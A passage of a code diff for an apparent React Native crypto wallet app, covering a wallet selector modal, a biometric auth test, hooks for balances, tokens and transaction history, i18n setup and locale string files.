onClose: () => void;
accounts: Account[];
selectedAccount: Account | null;
onSelect: (account: Account) => void;
onRename: (address: string, newName: string) => Promise<void>;
onDelete: (address: string) => Promise<void>;
onAddNew: () => void;
}
export const WalletSelector: React.FC<WalletSelectorProps> = ({
visible,
onClose,
accounts,
selectedAccount,
onSelect,
onRename,
onDelete,
onAddNew,
}) => {
const [renameModalVisible, setRenameModalVisible] = useState(false);
const [renameAddress, setRenameAddress] = useState('');
const [renameName, setRenameName] = useState('');
const handleDelete = async (account: Account) => {
const confirmDelete = Platform.OS === 'web'
? window.confirm(`Delete "${account.name}"?\n\nThis action cannot be undone. Make sure you have backed up your recovery phrase.`)
: await new Promise<boolean>((resolve) => {
Alert.alert(
'Delete Wallet',
`Are you sure you want to delete "${account.name}"?\n\nThis action cannot be undone. Make sure you have backed up your recovery phrase.`,
[
{ text: 'Cancel', style: 'cancel', onPress: () => resolve(false) },
{ text: 'Delete', style: 'destructive', onPress: () => resolve(true) }
]
);
});
if (confirmDelete) {
try {
await onDelete(account.address);
if (accounts.length <= 1) {
onClose();
}
} catch {
if (Platform.OS === 'web') {
window.alert('Failed to delete wallet');
} else {
Alert.alert('Error', 'Failed to delete wallet');
}
}
}
};
return (
<>
<Modal visible={visible} transparent animationType="slide" onRequestClose={onClose}>
<View style={styles.modalOverlay}>
<View style={styles.modalCard}>
<Text style={styles.modalHeader}>My Wallets</Text>
<Text style={styles.subtitle}>
Select a wallet or create a new one
</Text>
{/* Wallet List */}
{accounts.map((account) => {
const isSelected = account.address === selectedAccount?.address;
return (
<View key={account.address} style={styles.walletOptionRow}>
<TouchableOpacity
style={[
styles.walletOption,
isSelected && styles.walletOptionSelected,
{flex: 1, marginBottom: 0}
]}
onPress={() => {
onSelect(account);
onClose();
}}
>
<View style={styles.walletOptionIcon}>
<Text style={{fontSize: 24}}>👛</Text>
</View>
<View style={{flex: 1}}>
<Text style={[styles.walletOptionName, isSelected && {color: KurdistanColors.kesk}]}>
{account.name}
</Text>
<Text style={styles.walletOptionAddress} numberOfLines={1}>
{account.address.slice(0, 12)}...{account.address.slice(-8)}
</Text>
</View>
{isSelected && <Text style={{fontSize: 20, color: KurdistanColors.kesk}}></Text>}
</TouchableOpacity>
<TouchableOpacity
style={styles.renameWalletButton}
onPress={() => {
setRenameAddress(account.address);
setRenameName(account.name);
setRenameModalVisible(true);
}}
>
<Text style={styles.renameWalletIcon}></Text>
</TouchableOpacity>
<TouchableOpacity
style={styles.deleteWalletButton}
onPress={() => handleDelete(account)}
>
<Text style={styles.deleteWalletIcon}>🗑</Text>
</TouchableOpacity>
</View>
);
})}
{/* Add New Wallet Button */}
<TouchableOpacity
style={styles.addNewWalletOption}
onPress={() => {
onClose();
onAddNew();
}}
>
<View style={styles.addNewWalletIcon}>
<Text style={{fontSize: 24, color: KurdistanColors.kesk}}>+</Text>
</View>
<Text style={styles.addNewWalletText}>Add New Wallet</Text>
</TouchableOpacity>
<TouchableOpacity style={styles.btnConfirm} onPress={onClose}>
<Text style={{color:'white'}}>Close</Text>
</TouchableOpacity>
</View>
</View>
</Modal>
{/* Rename Wallet Modal */}
<Modal visible={renameModalVisible} transparent animationType="slide" onRequestClose={() => setRenameModalVisible(false)}>
<View style={styles.modalOverlay}>
<View style={styles.modalCard}>
<Text style={styles.modalHeader}>Rename Wallet</Text>
<TextInput
style={styles.inputField}
placeholder="New wallet name"
value={renameName}
onChangeText={setRenameName}
autoFocus
/>
<View style={styles.modalActions}>
<TouchableOpacity style={styles.btnCancel} onPress={() => setRenameModalVisible(false)}>
<Text>Cancel</Text>
</TouchableOpacity>
<TouchableOpacity
style={styles.btnConfirm}
onPress={async () => {
if (renameName.trim()) {
await onRename(renameAddress, renameName.trim());
setRenameModalVisible(false);
}
}}
>
<Text style={{color:'white'}}>Save</Text>
</TouchableOpacity>
</View>
</View>
</View>
</Modal>
</>
);
};
const styles = StyleSheet.create({
modalOverlay: {
flex: 1,
backgroundColor: 'rgba(0,0,0,0.5)',
justifyContent: 'center',
alignItems: 'center',
padding: 20,
},
modalCard: {
backgroundColor: 'white',
borderRadius: 20,
padding: 24,
width: '100%',
alignItems: 'center',
},
modalHeader: {
fontSize: 20,
fontWeight: 'bold',
marginBottom: 20,
},
subtitle: {
color: '#666',
fontSize: 12,
marginBottom: 16,
textAlign: 'center',
},
inputField: {
width: '100%',
backgroundColor: '#F5F5F5',
padding: 16,
borderRadius: 12,
marginBottom: 12,
},
modalActions: {
flexDirection: 'row',
width: '100%',
gap: 12,
marginTop: 10,
},
btnCancel: {
flex: 1,
padding: 16,
borderRadius: 12,
backgroundColor: '#EEE',
alignItems: 'center',
},
btnConfirm: {
flex: 1,
padding: 16,
borderRadius: 12,
backgroundColor: KurdistanColors.kesk,
alignItems: 'center',
},
walletOptionRow: {
flexDirection: 'row',
alignItems: 'center',
marginBottom: 8,
gap: 8,
},
walletOption: {
flexDirection: 'row',
alignItems: 'center',
padding: 16,
backgroundColor: '#F8F9FA',
borderRadius: 12,
marginBottom: 8,
borderWidth: 2,
borderColor: 'transparent',
},
walletOptionSelected: {
borderColor: KurdistanColors.kesk,
backgroundColor: 'rgba(0, 143, 67, 0.05)',
},
walletOptionIcon: {
width: 48,
height: 48,
borderRadius: 24,
backgroundColor: '#FFFFFF',
justifyContent: 'center',
alignItems: 'center',
marginRight: 12,
},
walletOptionName: {
fontSize: 16,
fontWeight: '600',
color: KurdistanColors.reş,
},
walletOptionAddress: {
fontSize: 12,
color: '#999',
marginTop: 2,
},
addNewWalletOption: {
flexDirection: 'row',
alignItems: 'center',
padding: 16,
backgroundColor: 'rgba(0, 143, 67, 0.05)',
borderRadius: 12,
marginBottom: 16,
borderWidth: 2,
borderColor: KurdistanColors.kesk,
borderStyle: 'dashed',
},
addNewWalletIcon: {
width: 48,
height: 48,
borderRadius: 24,
backgroundColor: '#FFFFFF',
justifyContent: 'center',
alignItems: 'center',
marginRight: 12,
},
addNewWalletText: {
fontSize: 16,
fontWeight: '600',
color: KurdistanColors.kesk,
},
renameWalletButton: {
width: 44,
height: 44,
borderRadius: 12,
backgroundColor: 'rgba(59, 130, 246, 0.1)',
justifyContent: 'center',
alignItems: 'center',
},
renameWalletIcon: {
fontSize: 18,
},
deleteWalletButton: {
width: 44,
height: 44,
borderRadius: 12,
backgroundColor: 'rgba(239, 68, 68, 0.1)',
justifyContent: 'center',
alignItems: 'center',
},
deleteWalletIcon: {
fontSize: 18,
},
});
export default WalletSelector;
@@ -0,0 +1,92 @@
import React from 'react';
import { renderHook, act } from '@testing-library/react-native';
import { BiometricAuthProvider, useBiometricAuth } from '../BiometricAuthContext';
// Mock expo modules
jest.mock('expo-local-authentication', () => ({
hasHardwareAsync: jest.fn().mockResolvedValue(true),
isEnrolledAsync: jest.fn().mockResolvedValue(true),
supportedAuthenticationTypesAsync: jest.fn().mockResolvedValue([1]), // FINGERPRINT
authenticateAsync: jest.fn().mockResolvedValue({ success: true }),
AuthenticationType: { FINGERPRINT: 1, FACIAL_RECOGNITION: 2, IRIS: 3 },
}));
jest.mock('expo-secure-store', () => ({
getItemAsync: jest.fn().mockResolvedValue(null),
setItemAsync: jest.fn().mockResolvedValue(undefined),
deleteItemAsync: jest.fn().mockResolvedValue(undefined),
}));
jest.mock('expo-crypto', () => ({
digestStringAsync: jest.fn().mockImplementation((_alg: string, data: string) =>
Promise.resolve('sha256_' + data.length)
),
getRandomBytes: jest.fn().mockReturnValue(new Uint8Array(32).fill(42)),
CryptoDigestAlgorithm: { SHA256: 'SHA-256' },
}));
jest.mock('@react-native-async-storage/async-storage', () => ({
getItem: jest.fn().mockResolvedValue(null),
setItem: jest.fn().mockResolvedValue(undefined),
removeItem: jest.fn().mockResolvedValue(undefined),
}));
const wrapper: React.FC<{ children: React.ReactNode }> = ({ children }) => (
<BiometricAuthProvider>{children}</BiometricAuthProvider>
);
describe('BiometricAuthContext', () => {
it('initializes with biometric support detected', async () => {
const { result } = renderHook(() => useBiometricAuth(), { wrapper });
// Wait for async init
await act(async () => {
await new Promise(r => setTimeout(r, 100));
});
expect(result.current.isBiometricSupported).toBe(true);
expect(result.current.isBiometricEnrolled).toBe(true);
expect(result.current.biometricType).toBe('fingerprint');
});
it('authenticate returns true on success', async () => {
const { result } = renderHook(() => useBiometricAuth(), { wrapper });
await act(async () => {
await new Promise(r => setTimeout(r, 100));
});
let authResult: boolean = false;
await act(async () => {
authResult = await result.current.authenticate();
});
expect(authResult).toBe(true);
});
it('setPinCode does not throw', async () => {
const { result } = renderHook(() => useBiometricAuth(), { wrapper });
await act(async () => {
await new Promise(r => setTimeout(r, 100));
});
// setPinCode should complete without error
await act(async () => {
await expect(result.current.setPinCode('1234')).resolves.not.toThrow();
});
});
it('unlock sets isLocked to false', async () => {
const { result } = renderHook(() => useBiometricAuth(), { wrapper });
await act(async () => {
await new Promise(r => setTimeout(r, 100));
});
await act(async () => {
result.current.unlock();
});
expect(result.current.isLocked).toBe(false);
});
});
+18
View File
@@ -0,0 +1,18 @@
import { useState, useEffect } from 'react';
import NetInfo, { NetInfoState } from '@react-native-community/netinfo';
export function useNetworkStatus() {
const [isConnected, setIsConnected] = useState(true);
const [connectionType, setConnectionType] = useState<string>('unknown');
useEffect(() => {
const unsubscribe = NetInfo.addEventListener((state: NetInfoState) => {
setIsConnected(state.isConnected ?? true);
setConnectionType(state.type);
});
return () => unsubscribe();
}, []);
return { isConnected, connectionType };
}
+104
View File
@@ -0,0 +1,104 @@
import { useState, useEffect } from 'react';
import AsyncStorage from '@react-native-async-storage/async-storage';
import { usePezkuwi } from '../contexts/PezkuwiContext';
import { fetchAllTokens, TokenInfo, KNOWN_TOKENS, TOKEN_LOGOS } from '../services/TokenService';
import { logger } from '../utils/logger';
const HIDDEN_TOKENS_KEY = '@pezkuwi_hidden_tokens';
export function useTokenList() {
const { api, isApiReady, selectedAccount } = usePezkuwi();
// Initialize with known tokens so list is never empty
const [allTokens, setAllTokens] = useState<TokenInfo[]>(() =>
KNOWN_TOKENS.map(kt => ({
assetId: kt.assetId,
symbol: kt.symbol,
name: kt.name,
decimals: kt.decimals,
balance: '0.00',
balanceRaw: 0n,
usdValue: '$0.00',
priceUsd: 0,
change24h: 0,
logo: TOKEN_LOGOS[kt.symbol] || null,
isNative: kt.isNative,
isFrozen: false,
}))
);
const [isLoadingTokens, setIsLoadingTokens] = useState(false);
const [hiddenTokens, setHiddenTokens] = useState<string[]>([]);
// Load hidden tokens from AsyncStorage
useEffect(() => {
const loadHiddenTokens = async () => {
try {
const stored = await AsyncStorage.getItem(HIDDEN_TOKENS_KEY);
if (stored) {
setHiddenTokens(JSON.parse(stored));
}
} catch (e) {
logger.warn('[Wallet] Failed to load hidden tokens:', e);
}
};
loadHiddenTokens();
}, []);
// Save hidden tokens when they change
useEffect(() => {
const saveHiddenTokens = async () => {
try {
await AsyncStorage.setItem(HIDDEN_TOKENS_KEY, JSON.stringify(hiddenTokens));
} catch (e) {
logger.warn('[Wallet] Failed to save hidden tokens:', e);
}
};
// Only save if array has been modified (skip initial empty)
if (hiddenTokens.length > 0) {
saveHiddenTokens();
}
}, [hiddenTokens]);
// Fetch all tokens from blockchain (Nova Wallet style)
useEffect(() => {
if (!api || !isApiReady || !selectedAccount) return;
const loadAllTokens = async () => {
setIsLoadingTokens(true);
try {
const tokens = await fetchAllTokens(api, selectedAccount.address);
setAllTokens(tokens);
logger.warn('[Wallet] Loaded', tokens.length, 'tokens from blockchain');
} catch (error) {
logger.error('[Wallet] Failed to load tokens:', error);
} finally {
setIsLoadingTokens(false);
}
};
loadAllTokens();
// Refresh every 30 seconds for price updates
const interval = setInterval(loadAllTokens, 30000);
return () => clearInterval(interval);
}, [api, isApiReady, selectedAccount]);
const toggleTokenVisibility = (symbol: string) => {
setHiddenTokens(prev => {
if (prev.includes(symbol)) {
return prev.filter(s => s !== symbol);
} else {
return [...prev, symbol];
}
});
};
return {
allTokens,
isLoadingTokens,
hiddenTokens,
toggleTokenVisibility,
};
}
+53
View File
@@ -0,0 +1,53 @@
import { useState, useEffect, useCallback } from 'react';
import { usePezkuwi } from '../contexts/PezkuwiContext';
import {
TransactionRecord,
HistoryFilter,
fetchTransactionHistory,
} from '../services/TransactionHistoryService';
import { logger } from '../utils/logger';
export function useTransactionHistory() {
const { api, isApiReady, selectedAccount, currentNetwork } = usePezkuwi();
const [transactions, setTransactions] = useState<TransactionRecord[]>([]);
const [isLoadingHistory, setIsLoadingHistory] = useState(false);
const [historyFilter, setHistoryFilter] = useState<HistoryFilter>('all');
const [historyScanProgress, setHistoryScanProgress] = useState<string>('');
const refreshHistory = useCallback(async () => {
if (!api || !isApiReady || !selectedAccount) return;
setIsLoadingHistory(true);
setHistoryScanProgress('Loading history...');
try {
const txs = await fetchTransactionHistory(api, selectedAccount.address, currentNetwork, {
blocksToScan: 50,
onProgress: (scanned, total) => {
setHistoryScanProgress(`Scanning blocks... ${Math.round((scanned / total) * 100)}%`);
},
});
setTransactions(txs);
} catch (error) {
logger.error('[Wallet] Failed to load history:', error);
} finally {
setHistoryScanProgress('');
setIsLoadingHistory(false);
}
}, [api, isApiReady, selectedAccount, currentNetwork]);
// Fetch history when account/network changes
useEffect(() => {
refreshHistory();
}, [refreshHistory]);
return {
transactions,
isLoadingHistory,
historyFilter,
setHistoryFilter,
historyScanProgress,
refreshHistory,
};
}
+128
View File
@@ -0,0 +1,128 @@
import { useState, useEffect, useCallback } from 'react';
import { decodeAddress } from '@pezkuwi/util-crypto';
import { usePezkuwi } from '../contexts/PezkuwiContext';
import { logger } from '../utils/logger';
export interface WalletBalances {
[key: string]: string;
HEZ: string;
PEZ: string;
USDT: string;
}
export function useWalletBalances() {
const { api, isApiReady, selectedAccount } = usePezkuwi();
const [balances, setBalances] = useState<WalletBalances>({
HEZ: '0.00',
PEZ: '0.00',
USDT: '0.00',
});
const [isLoadingBalances, setIsLoadingBalances] = useState(false);
const fetchBalances = useCallback(async () => {
if (!api || !isApiReady || !selectedAccount) return;
setIsLoadingBalances(true);
try {
// Decode address to raw bytes to avoid SS58 encoding issues
let accountId: Uint8Array | string;
try {
accountId = decodeAddress(selectedAccount.address);
} catch (_e) {
logger.warn('[Wallet] Failed to decode address, using raw:', _e);
accountId = selectedAccount.address;
}
const accountInfo = await api.query.system.account(accountId);
const accountData = accountInfo.toJSON() as { data?: { free?: string | number } } | null;
const freeBalance = accountData?.data?.free ?? 0;
const hezBalance = (Number(freeBalance) / 1e12).toFixed(2);
let pezBalance = '0.00';
try {
if (api.query.assets?.account) {
const pezAsset = await api.query.assets.account(1, accountId);
const pezData = pezAsset.toJSON() as { balance?: string | number } | null;
if (pezData?.balance) pezBalance = (Number(pezData.balance) / 1e12).toFixed(2);
}
} catch (_e) {
logger.warn('[Wallet] PEZ balance fetch failed:', _e);
}
let usdtBalance = '0.00';
try {
if (api.query.assets?.account) {
// Check ID 1000 first (as per constants), fallback to 2 just in case
let usdtAsset = await api.query.assets.account(1000, accountId);
let usdtData = usdtAsset.toJSON() as { balance?: string | number } | null;
if (!usdtData?.balance) {
usdtAsset = await api.query.assets.account(2, accountId);
usdtData = usdtAsset.toJSON() as { balance?: string | number } | null;
}
if (usdtData?.balance) {
// USDT uses 6 decimals usually
usdtBalance = (Number(usdtData.balance) / 1e6).toFixed(2);
}
}
} catch (_e) {
logger.warn('[Wallet] USDT balance fetch failed:', _e);
}
setBalances({ HEZ: hezBalance, PEZ: pezBalance, USDT: usdtBalance });
} catch (error) {
logger.error('Fetch balances error:', error);
} finally {
setIsLoadingBalances(false);
}
}, [api, isApiReady, selectedAccount]);
// Real-time balance subscription
useEffect(() => {
if (!api || !isApiReady || !selectedAccount) return;
let unsubscribe: (() => void) | null = null;
const subscribeToBalance = async () => {
try {
let accountId: Uint8Array;
try {
accountId = decodeAddress(selectedAccount.address);
} catch {
return;
}
// Subscribe to balance changes
unsubscribe = await api.query.system.account(accountId, (accountInfo: { data: { free: { toString(): string } } }) => {
const hezBalance = (Number(accountInfo.data.free.toString()) / 1e12).toFixed(2);
setBalances(prev => ({ ...prev, HEZ: hezBalance }));
logger.warn('[Wallet] Balance updated via subscription:', hezBalance, 'HEZ');
}) as unknown as () => void;
} catch (e) {
logger.warn('[Wallet] Subscription failed, falling back to polling:', e);
// Fallback to polling if subscription fails
fetchBalances();
}
};
subscribeToBalance();
// Initial fetch for other tokens (PEZ, USDT)
fetchBalances();
return () => {
if (unsubscribe) {
unsubscribe();
}
};
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [api, isApiReady, selectedAccount]);
return {
balances,
isLoadingBalances,
refreshBalances: fetchBalances,
};
}
+75
View File
@@ -0,0 +1,75 @@
import i18n from 'i18next';
import { initReactI18next } from 'react-i18next';
import { I18nManager } from 'react-native';
import { getLocales } from 'expo-localization';
import AsyncStorage from '@react-native-async-storage/async-storage';
import en from './locales/en.json';
import ku from './locales/ku.json';
import ckb from './locales/ckb.json';
import tr from './locales/tr.json';
import ar from './locales/ar.json';
import fa from './locales/fa.json';
export const LANGUAGES = [
{ code: 'ku', label: 'Kurmancî', rtl: false },
{ code: 'ckb', label: 'سۆرانی', rtl: true },
{ code: 'en', label: 'English', rtl: false },
{ code: 'tr', label: 'Türkçe', rtl: false },
{ code: 'ar', label: 'العربية', rtl: true },
{ code: 'fa', label: 'فارسی', rtl: true },
] as const;
export type LanguageCode = (typeof LANGUAGES)[number]['code'];
const SUPPORTED_CODES = LANGUAGES.map(l => l.code) as readonly string[];
const RTL_LANGUAGES = LANGUAGES.filter(l => l.rtl).map(l => l.code) as readonly string[];
const LANGUAGE_KEY = '@pezkuwi_language';
function getDeviceLanguage(): string {
try {
const locales = getLocales();
if (locales.length > 0) {
const lang = (locales[0].languageCode || 'en').toLowerCase();
if (SUPPORTED_CODES.includes(lang)) return lang;
const tag = locales[0].languageTag.toLowerCase();
if (tag.includes('ckb') || tag.includes('sorani')) return 'ckb';
if (lang === 'ku' || tag.includes('kurmanj')) return 'ku';
}
} catch { /* fallback */ }
return 'ku'; // Default to Kurmancî for Kurdistan project
}
i18n.use(initReactI18next).init({
resources: {
ku: { translation: ku },
ckb: { translation: ckb },
en: { translation: en },
tr: { translation: tr },
ar: { translation: ar },
fa: { translation: fa },
},
lng: getDeviceLanguage(),
fallbackLng: 'en',
interpolation: { escapeValue: false },
react: { useSuspense: false },
});
// Load saved language preference
AsyncStorage.getItem(LANGUAGE_KEY).then(savedLang => {
if (savedLang && SUPPORTED_CODES.includes(savedLang)) {
i18n.changeLanguage(savedLang);
I18nManager.forceRTL(RTL_LANGUAGES.includes(savedLang));
}
});
export async function changeLanguage(code: LanguageCode): Promise<void> {
await i18n.changeLanguage(code);
await AsyncStorage.setItem(LANGUAGE_KEY, code);
const isRTL = RTL_LANGUAGES.includes(code);
if (I18nManager.isRTL !== isRTL) {
I18nManager.forceRTL(isRTL);
}
}
export default i18n;
+116
View File
@@ -0,0 +1,116 @@
{
"common": {
"loading": "Loading...",
"error": "Error",
"success": "Success",
"cancel": "Cancel",
"confirm": "Confirm",
"save": "Save",
"delete": "Delete",
"close": "Close",
"retry": "Retry",
"send": "Send",
"receive": "Receive",
"copy": "Copy",
"share": "Share",
"search": "Search",
"settings": "Settings",
"back": "Back",
"next": "Next",
"done": "Done",
"comingSoon": "Coming Soon",
"noData": "No data available"
},
"wallet": {
"title": "Wallet",
"balance": "Balance",
"send": "Send",
"receive": "Receive",
"swap": "Swap",
"backup": "Backup",
"tokens": "Tokens",
"activity": "Activity",
"noTransactions": "No transactions yet",
"scanAddress": "Scan Address",
"selectNetwork": "Select Network",
"myWallets": "My Wallets",
"addWallet": "Add New Wallet",
"createWallet": "Create Wallet",
"importWallet": "Import Wallet",
"deleteWallet": "Delete Wallet",
"renameWallet": "Rename Wallet",
"backupMnemonic": "Backup Recovery Phrase",
"backupWarning": "NEVER share this with anyone! Write it down and store safely.",
"recipientAddress": "Recipient Address",
"amount": "Amount",
"estimatedFee": "Estimated Fee",
"total": "Total (incl. fee)",
"insufficientBalance": "Insufficient balance",
"transactionFinalized": "Transaction finalized!",
"copied": "Address copied to clipboard"
},
"staking": {
"title": "Staking",
"directStaking": "Direct Staking",
"nominationPools": "Nomination Pools",
"totalStaked": "Total Staked",
"monthlyReward": "Monthly Reward",
"estimatedAPY": "Est. APY",
"stake": "Stake",
"unstake": "Unstake",
"claimRewards": "Claim Rewards",
"selectValidators": "Select Validators",
"joinPool": "Join Pool",
"bondMore": "Bond More",
"unbondingPeriod": "Unbonded tokens will be locked for ~28 days"
},
"governance": {
"title": "Governance",
"active": "Active",
"past": "Past",
"all": "All",
"noReferenda": "No referenda found",
"voteAye": "Aye",
"voteNay": "Nay",
"conviction": "Conviction (lock multiplier)",
"tapToVote": "Tap to vote",
"support": "Support"
},
"apps": {
"title": "Apps",
"searchApps": "Search apps...",
"connectWallet": "Connect Wallet",
"submitApp": "Submit Your App"
},
"auth": {
"signIn": "Sign In",
"signUp": "Sign Up",
"email": "Email",
"password": "Password",
"forgotPassword": "Forgot Password?",
"noAccount": "Don't have an account?",
"hasAccount": "Already have an account?"
},
"profile": {
"title": "Profile",
"editProfile": "Edit Profile",
"settings": "Settings",
"security": "Security",
"language": "Language",
"signOut": "Sign Out"
},
"dapp": {
"title": "DApp Browser",
"searchOrEnter": "Search or enter URL...",
"connected": "Connected",
"noWallet": "No wallet connected - dApps won't work",
"connectionRequest": "Connection Request",
"signRequest": "Sign Request",
"approve": "Connect",
"reject": "Reject"
},
"notifications": {
"transactionSent": "Transaction Sent",
"transactionReceived": "Transaction Received"
}
}
+116
View File
@@ -0,0 +1,116 @@
{
"common": {
"loading": "بارکردن...",
"error": "ھەڵە",
"success": "سەرکەوتوو",
"cancel": "پاشگەزبوونەوە",
"confirm": "پشتڕاستکردنەوە",
"save": "پاشەکەوتکردن",
"delete": "سڕینەوە",
"close": "داخستن",
"retry": "دووبارە ھەوڵبدەوە",
"send": "ناردن",
"receive": "وەرگرتن",
"copy": "لەبەرگرتنەوە",
"share": "ھاوبەشکردن",
"search": "گەڕان",
"settings": "ڕێکخستنەکان",
"back": "گەڕانەوە",
"next": "دواتر",
"done": "تەواو",
"comingSoon": "بەم زووانە دێت",
"noData": "زانیاری بەردەست نییە"
},
"wallet": {
"title": "جزدان",
"balance": "باڵانس",
"send": "ناردن",
"receive": "وەرگرتن",
"swap": "ئاڵاندن",
"backup": "پاشگری",
"tokens": "تۆکن",
"activity": "چالاکی",
"noTransactions": "ھێشتا مامەڵەیەک نییە",
"scanAddress": "ناونیشان سکان بکە",
"selectNetwork": "تۆڕ ھەڵبژێرە",
"myWallets": "جزدانەکانم",
"addWallet": "جزدانی نوێ زیاد بکە",
"createWallet": "جزدان دروست بکە",
"importWallet": "جزدان ھاوردە بکە",
"deleteWallet": "جزدان بسڕەوە",
"renameWallet": "ناوی جزدان بگۆڕە",
"backupMnemonic": "وشەی گەڕانەوە پاشگری بکە",
"backupWarning": "ھەرگیز لەگەڵ کەسدا ھاوبەشی مەکە! بینووسەو بە ئاسایشەوە ھەڵیبگرە.",
"recipientAddress": "ناونیشانی وەرگر",
"amount": "بڕ",
"estimatedFee": "کرێی خەمڵێنراو",
"total": "کۆی گشتی (لەگەڵ کرێ)",
"insufficientBalance": "باڵانس بەس نییە",
"transactionFinalized": "مامەڵە تەواو بوو!",
"copied": "ناونیشان لەبەرگیرایەوە"
},
"staking": {
"title": "ستەیکینگ",
"directStaking": "ستەیکینگی ڕاستەوخۆ",
"nominationPools": "حەوزەکانی ناوزەدکردن",
"totalStaked": "کۆی ستەیک کراو",
"monthlyReward": "پاداشتی مانگانە",
"estimatedAPY": "APY خەمڵێنراو",
"stake": "ستەیک بکە",
"unstake": "لە ستەیک دەربچە",
"claimRewards": "پاداشت وەربگرە",
"selectValidators": "ڤاڵیدەیتەر ھەڵبژێرە",
"joinPool": "بەشداری حەوز بکە",
"bondMore": "زیاتر گرێبدە",
"unbondingPeriod": "تۆکنە کراوەکان بۆ ~٢٨ ڕۆژ قوفڵ دەکرێن"
},
"governance": {
"title": "حوکمڕانی",
"active": "چالاک",
"past": "پێشوو",
"all": "ھەموو",
"noReferenda": "ڕیفراندۆم نەدۆزرایەوە",
"voteAye": "بەڵێ",
"voteNay": "نەخێر",
"conviction": "بڕوا (ژمارەی قوفڵ)",
"tapToVote": "بۆ دەنگدان لێی بدە",
"support": "پشتگیری"
},
"apps": {
"title": "ئەپڵیکەیشنەکان",
"searchApps": "لە ئەپەکاندا بگەڕێ...",
"connectWallet": "جزدان پەیوەست بکە",
"submitApp": "ئەپەکەت بنێرە"
},
"auth": {
"signIn": "چوونەژوورەوە",
"signUp": "تۆمارکردن",
"email": "ئیمەیڵ",
"password": "وشەی نھێنی",
"forgotPassword": "وشەی نھێنیت لەبیر چوو؟",
"noAccount": "ھەژمارت نییە؟",
"hasAccount": "ھەژمارت ھەیە؟"
},
"profile": {
"title": "پرۆفایل",
"editProfile": "پرۆفایل بگۆڕە",
"settings": "ڕێکخستنەکان",
"security": "ئاسایش",
"language": "زمان",
"signOut": "چوونەدەرەوە"
},
"dapp": {
"title": "گەڕۆکی DApp",
"searchOrEnter": "بگەڕێ یان URL بنووسە...",
"connected": "پەیوەست",
"noWallet": "جزدان پەیوەست نییە",
"connectionRequest": "داواکاری پەیوەستبوون",
"signRequest": "داواکاری واژووکردن",
"approve": "پەیوەست بکە",
"reject": "ڕەتکردنەوە"
},
"notifications": {
"transactionSent": "مامەڵە نێردرا",
"transactionReceived": "مامەڵە وەرگیرا"
}
}
+116
View File
@@ -0,0 +1,116 @@
{
"common": {
"loading": "Loading...",
"error": "Error",
"success": "Success",
"cancel": "Cancel",
"confirm": "Confirm",
"save": "Save",
"delete": "Delete",
"close": "Close",
"retry": "Retry",
"send": "Send",
"receive": "Receive",
"copy": "Copy",
"share": "Share",
"search": "Search",
"settings": "Settings",
"back": "Back",
"next": "Next",
"done": "Done",
"comingSoon": "Coming Soon",
"noData": "No data available"
},
"wallet": {
"title": "Wallet",
"balance": "Balance",
"send": "Send",
"receive": "Receive",
"swap": "Swap",
"backup": "Backup",
"tokens": "Tokens",
"activity": "Activity",
"noTransactions": "No transactions yet",
"scanAddress": "Scan Address",
"selectNetwork": "Select Network",
"myWallets": "My Wallets",
"addWallet": "Add New Wallet",
"createWallet": "Create Wallet",
"importWallet": "Import Wallet",
"deleteWallet": "Delete Wallet",
"renameWallet": "Rename Wallet",
"backupMnemonic": "Backup Recovery Phrase",
"backupWarning": "NEVER share this with anyone! Write it down and store safely.",
"recipientAddress": "Recipient Address",
"amount": "Amount",
"estimatedFee": "Estimated Fee",
"total": "Total (incl. fee)",
"insufficientBalance": "Insufficient balance",
"transactionFinalized": "Transaction finalized!",
"copied": "Address copied to clipboard"
},
"staking": {
"title": "Staking",
"directStaking": "Direct Staking",
"nominationPools": "Nomination Pools",
"totalStaked": "Total Staked",
"monthlyReward": "Monthly Reward",
"estimatedAPY": "Est. APY",
"stake": "Stake",
"unstake": "Unstake",
"claimRewards": "Claim Rewards",
"selectValidators": "Select Validators",
"joinPool": "Join Pool",
"bondMore": "Bond More",
"unbondingPeriod": "Unbonded tokens will be locked for ~28 days"
},
"governance": {
"title": "Governance",
"active": "Active",
"past": "Past",
"all": "All",
"noReferenda": "No referenda found",
"voteAye": "Aye",
"voteNay": "Nay",
"conviction": "Conviction (lock multiplier)",
"tapToVote": "Tap to vote",
"support": "Support"
},
"apps": {
"title": "Apps",
"searchApps": "Search apps...",
"connectWallet": "Connect Wallet",
"submitApp": "Submit Your App"
},
"auth": {
"signIn": "Sign In",
"signUp": "Sign Up",
"email": "Email",
"password": "Password",
"forgotPassword": "Forgot Password?",
"noAccount": "Don't have an account?",
"hasAccount": "Already have an account?"
},
"profile": {
"title": "Profile",
"editProfile": "Edit Profile",
"settings": "Settings",
"security": "Security",
"language": "Language",
"signOut": "Sign Out"
},
"dapp": {
"title": "DApp Browser",
"searchOrEnter": "Search or enter URL...",
"connected": "Connected",
"noWallet": "No wallet connected - dApps won't work",
"connectionRequest": "Connection Request",
"signRequest": "Sign Request",
"approve": "Connect",
"reject": "Reject"
},
"notifications": {
"transactionSent": "Transaction Sent",
"transactionReceived": "Transaction Received"
}
}
+116
View File
@@ -0,0 +1,116 @@
{
"common": {
"loading": "Loading...",
"error": "Error",
"success": "Success",
"cancel": "Cancel",
"confirm": "Confirm",
"save": "Save",
"delete": "Delete",
"close": "Close",
"retry": "Retry",
"send": "Send",
"receive": "Receive",
"copy": "Copy",
"share": "Share",
"search": "Search",
"settings": "Settings",
"back": "Back",
"next": "Next",
"done": "Done",
"comingSoon": "Coming Soon",
"noData": "No data available"
},
"wallet": {
"title": "Wallet",
"balance": "Balance",
"send": "Send",
"receive": "Receive",
"swap": "Swap",
"backup": "Backup",
"tokens": "Tokens",
"activity": "Activity",
"noTransactions": "No transactions yet",
"scanAddress": "Scan Address",
"selectNetwork": "Select Network",
"myWallets": "My Wallets",
"addWallet": "Add New Wallet",
"createWallet": "Create Wallet",
"importWallet": "Import Wallet",
"deleteWallet": "Delete Wallet",
"renameWallet": "Rename Wallet",
"backupMnemonic": "Backup Recovery Phrase",
"backupWarning": "NEVER share this with anyone! Write it down and store safely.",
"recipientAddress": "Recipient Address",
"amount": "Amount",
"estimatedFee": "Estimated Fee",
"total": "Total (incl. fee)",
"insufficientBalance": "Insufficient balance",
"transactionFinalized": "Transaction finalized!",
"copied": "Address copied to clipboard"
},
"staking": {
"title": "Staking",
"directStaking": "Direct Staking",
"nominationPools": "Nomination Pools",
"totalStaked": "Total Staked",
"monthlyReward": "Monthly Reward",
"estimatedAPY": "Est. APY",
"stake": "Stake",
"unstake": "Unstake",
"claimRewards": "Claim Rewards",
